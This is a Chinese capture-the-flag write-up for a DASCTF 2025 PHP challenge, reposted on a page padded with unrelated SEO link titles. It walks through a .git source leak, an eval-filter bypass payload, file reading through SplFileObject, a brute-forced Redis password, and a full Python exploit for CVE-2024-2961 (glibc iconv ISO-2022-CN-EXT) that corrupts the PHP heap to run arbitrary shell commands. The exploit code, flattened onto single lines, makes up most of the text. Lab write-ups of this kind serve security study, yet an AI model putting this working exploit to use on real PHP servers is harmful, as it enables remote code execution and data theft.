当前位置: 首页 > wzjs >正文

乐站_网站建设_自助建站地推拉新接单网

乐站_网站建设_自助建站,地推拉新接单网,坪地网站建设,昆明网站设计价格DASCTF 2025上半年赛-web1 phpms Writeup 信息收集 使用 dirsearch 扫描&#xff0c;发现 .git 泄露。 - 利用 Git_Extract 工具拉取源码&#xff0c;发现有历史提交记录&#xff0c;源码被暴露。 源码分析 源码如下&#xff1a; <?php $shell $_GET[shell]; if(preg…

DASCTF 2025上半年赛-web1 phpms Writeup

信息收集

  • 使用 dirsearch 扫描,发现 .git 泄露。
    在这里插入图片描述- 利用 Git_Extract 工具拉取源码,发现有历史提交记录,源码被暴露。

源码分析

源码如下:

<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){echo ':(';
}else{eval("#$shell");
}
  • 发现对 shell 参数做了换行过滤,但可以用闭合方式绕过:?shell=?><?php echo 1;

文件读取

  • 由于禁用了大量函数,选择用 PHP 原生类 SplFileObject 进行文件读取。

    ?><?php $f=new SplFileObject('/etc/passwd'); while(!$f->eof())echo $f->fgets();
    
  • 读取 /proc/self/maps,发现 libc 版本为 libc-2.31.so,用 curl 下载到本地。

利用 CVE-2024-2961(CN-EXT)

  • 根据提示,利用 CN-EXT(CVE-2024-2961)漏洞,成功实现 RCE,脚本附下文exp.py
  • 贴上 exp.py 利用脚本(见下方)。

Redis 利用

  • 使用 find / -perm -4000 -type f 2>/dev/null 未找到提权点。

  • 查看 /etc/passwd,发现有 redis 用户。

  • 猜测 Redis 有东西,尝试 echo "info" | redis-cli > /tmp/2.txt,发现需要密码。

  • 爆破得到密码 admin123

  • 执行 echo "auth admin123\nkeys *\nget flag" | redis-cli > /tmp/2.txt,成功拿到 flag。

    在这里插入图片描述

exp.py 脚本,根据师傅kjdfklha的exp改的

from __future__ import annotationsimport base64
import zlib
from dataclasses import dataclassfrom pwn import *
from ten import *
from urllib.parse import urlencodeHEAP_SIZE = 2 * 1024 * 1024
BUG = "峛".encode("utf-8") # 这个地方不知道为什么,我改成六都能生效
PAD: int = 20class Remote:def __init__(self, url: str) -> None:self.url = urlself.session = Session()def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""# 拼接参数到URL后面params = urlencode({"shell": path})url_with_params = f"{self.url}?{params}"return self.session.get(url_with_params)def download(self, path: str) -> bytes:path = f"?><?php $f=new SplFileObject('{path}'); while(!$f->eof())echo $f->fgets();"response = self.send(path)if not response or not response.content:raise RuntimeError("Failed to download file or empty response")return response.content@dataclass
class Region:"""A memory region."""start: intstop: intpermissions: strpath: str@propertydef size(self) -> int:return self.stop - self.startdef get_regions(target: Remote, path: str) -> list[Region]:"""通过查询 /proc/self/maps 获取 PHP 进程的内存区域。"""maps = target.download(path)maps = maps.decode()PATTERN = re.compile(r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)")regions = []for region in table.split(maps, strip=True):if match := PATTERN.match(region):start = int(match.group(1), 16)stop = int(match.group(2), 16)permissions = match.group(3)path = match.group(4)if "/" in path or "[" in path:path = path.rsplit(" ", 1)[-1]else:path = ""current = Region(start, stop, permissions, path)regions.append(current)else:print(maps)failure("Unable to parse memory mappings")log.info(f"Got {len(regions)} memory regions")return regionsdef find_main_heap(regions: list[Region]) -> Region:# 任何大小大于基本堆大小的匿名 RW 区域都是候选区域。# 堆位于区域的底部。heaps = [region.stop - HEAP_SIZE + 0x40for region in reversed(regions)if region.permissions == "rw-p"and region.size >= HEAP_SIZEand region.stop & (HEAP_SIZE-1) == 0and region.path == ""]if not heaps:failure("无法在内存中找到 PHP 的主堆")first = heaps[0]if len(heaps) > 1:heaps = ", ".join(map(hex, heaps))msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")else:msg_info(f"Using [i]{hex(first)}[/] as heap")return firstdef _get_region(regions: list[Region], *names: str) -> Region:"""返回第一个名称与给定名称之一匹配的区域。"""for region in regions:if any(name in region.path for name in names):breakelse:failure("Unable to locate region")return regiondef build_exploit_path(target: Remote, path: str, command: str) -> str:LIBC = ELF("./libc-2.31.so", checksec=False)regions = get_regions(target, path)libc = _get_region(regions, "libc-", "libc.so")LIBC.address = libc.startADDR_EMALLOC = LIBC.symbols["__libc_malloc"]ADDR_EFREE = LIBC.symbols["__libc_system"]ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]ADDR_HEAP = find_main_heap(regions)ADDR_FREE_SLOT = ADDR_HEAP + 0x20ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10CS = 0x100pad_size = CS - 0x18pad = b"\x00" * pad_sizepad = chunked_chunk(pad, len(pad) + 6)pad = chunked_chunk(pad, len(pad) + 6)pad = chunked_chunk(pad, len(pad) + 6)pad = compressed_bucket(pad)step1_size = 1step1 = b"\x00" * step1_sizestep1 = chunked_chunk(step1)step1 = chunked_chunk(step1)step1 = chunked_chunk(step1, CS)step1 = compressed_bucket(step1)step2_size = 0x48step2 = b"\x00" * (step2_size + 8)step2 = chunked_chunk(step2, CS)step2 = chunked_chunk(step2)step2 = compressed_bucket(step2)step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)step2_write_ptr = chunked_chunk(step2_write_ptr, CS)step2_write_ptr = chunked_chunk(step2_write_ptr)step2_write_ptr = compressed_bucket(step2_write_ptr)step3_size = CSstep3 = b"\x00" * step3_sizeassert len(step3) == CSstep3 = chunked_chunk(step3)step3 = chunked_chunk(step3)step3 = chunked_chunk(step3)step3 = compressed_bucket(step3)step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUGassert len(step3_overflow) == CSstep3_overflow = chunked_chunk(step3_overflow)step3_overflow = chunked_chunk(step3_overflow)step3_overflow = chunked_chunk(step3_overflow)step3_overflow = compressed_bucket(step3_overflow)step4_size = CSstep4 = b"=00" + b"\x00" * (step4_size - 1)step4 = chunked_chunk(step4)step4 = chunked_chunk(step4)step4 = chunked_chunk(step4)step4 = compressed_bucket(step4)step4_pwn = ptr_bucket(0x200000,0,# free_slot0,0,ADDR_CUSTOM_HEAP,  # 0x180,0,0,0,0,0,0,0,0,0,0,0,0,ADDR_HEAP,  # 0x1400,0,0,0,0,0,0,0,0,0,0,0,0,size=CS,)step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)step4_use_custom_heap_size = 0x140#COMMAND = f"kill -9 $PPID; {COMMAND}"COMMAND = command.encode() + b"\x00"assert (len(COMMAND) <= step4_use_custom_heap_size), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")step4_use_custom_heap = COMMANDstep4_use_custom_heap = qpe(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)pages = (step4 * 3+ step4_pwn+ step4_custom_heap+ step4_use_custom_heap+ step3_overflow+ pad * PAD+ step1 * 3+ step2_write_ptr+ step2 * 2)resource = compress(compress(pages))resource = b64(resource)resource = f"data:text/plain;base64,{resource.decode()}"filters = [# Create buckets"zlib.inflate","zlib.inflate",# Step 0: Setup heap"dechunk","convert.iconv.latin1.latin1",# Step 1: Reverse FL order"dechunk","convert.iconv.latin1.latin1",# Step 2: Put fake pointer and make FL order back to normal"dechunk","convert.iconv.latin1.latin1",# Step 3: Trigger overflow"dechunk","convert.iconv.UTF-8.ISO-2022-CN-EXT",# Step 4: Allocate at arbitrary address and change zend_mm_heap"convert.quoted-printable-decode","convert.iconv.latin1.latin1",]filters = "|".join(filters)path = f"?><?php $f=new SplFileObject('php://filter/read={filters}/resource={resource}'); $f->fgetc();"return pathdef compress(data) -> bytes:return zlib.compress(data, 9)[2:-4]def b64(data: bytes, misalign=True) -> bytes:payload = base64.encode(data)if not misalign and payload.endswith("="):raise ValueError(f"Misaligned: {data}")return payload.encode()def qpe(data: bytes) -> bytes:return "".join(f"={x:02x}" for x in data).upper().encode()def ptr_bucket(*ptrs, size=None) -> bytes:if size is not None:assert len(ptrs) * 8 == sizebucket = b"".join(map(p64, ptrs))bucket = qpe(bucket)bucket = chunked_chunk(bucket)bucket = chunked_chunk(bucket)bucket = chunked_chunk(bucket)bucket = compressed_bucket(bucket)return bucketdef chunked_chunk(data: bytes, size: int = None) -> bytes:if size is None:size = len(data) + 8keep = len(data) + len(b"\n\n")size = f"{len(data):x}".rjust(size - keep, "0")return size.encode() + b"\n" + data + b"\n"def compressed_bucket(data: bytes) -> bytes:return chunked_chunk(data, 0x8000)if __name__=="__main__":url='http://79ff934f-2437-4812-bb14-ad480373ddb7.node5.buuoj.cn:81/index.php'target=Remote(url)target.send(build_exploit_path(target, '/proc/self/maps', 'echo "auth admin123\nkeys *\nget flag" | redis-cli > /tmp/2.txt'))# 读取/tmp/2.txtcontent = target.download('/tmp/2.txt')print(">\n")print(content.decode('utf-8'))

总结

  1. Git 泄露 -> 源码分析 -> 绕过 eval 过滤。
  2. 原生类文件读取 -> 泄露 libc -> 利用 CN-EXT 漏洞 RCE。
  3. Redis 爆破密码 -> 拿到 flag。
http://www.dtcms.com/wzjs/173300.html

相关文章:

  • 莆田做网站的公司抖音关键词排名优化
  • 施工企业会计案例分析论文seo 优化技术难度大吗
  • 如何自己做网站做淘宝客网站开发需要的技术
  • 潜江公司做网站优化大师的优化项目有哪7个
  • 石家庄专业网站营销注册网站在哪里注册
  • 网站开发神器站长工具域名查询ip
  • iapp做网站免费淘宝关键词工具
  • 什么平台做网站举例说明什么是seo
  • 沈阳网站专业seo百度关键词优化
  • 如何做更改网站的图片郑州网站建设用户
  • 企业网站开发要学什么seo排名大概多少钱
  • 泰安做网站网络公司品牌策划方案范文
  • vs2010怎么做网站全国培训机构排名前十
  • 做网站会出现什么问题网络优化器免费
  • 摄影素材库网站引流推广怎么做
  • 我爱做衣服网站常见的网络营销手段
  • 免费资源源码网站网页入口网站推广
  • 网站建设教程突网络推广工作好吗
  • 网站建设的功能需求文档seo中文
  • dw网站建设基本流程百度seoo优化软件
  • 桂林北站到两江机场大巴时刻表营销案例
  • 民政局网站建设工作总结冯耀宗seo课程
  • 上海 企矩 网站建设网站seo具体怎么做?
  • 柳州哪里有网站建设黑锋网seo
  • 郑州网站建设时一定需要注意的六点日本网站源码
  • 公司网站制作定制软件测试培训
  • 企业网站制作运营搜索营销
  • 遂宁建设机械网站天津网站建设公司
  • 电子商务范围宁波企业seo推广
  • 登陆网站取消备案宽带业务如何推广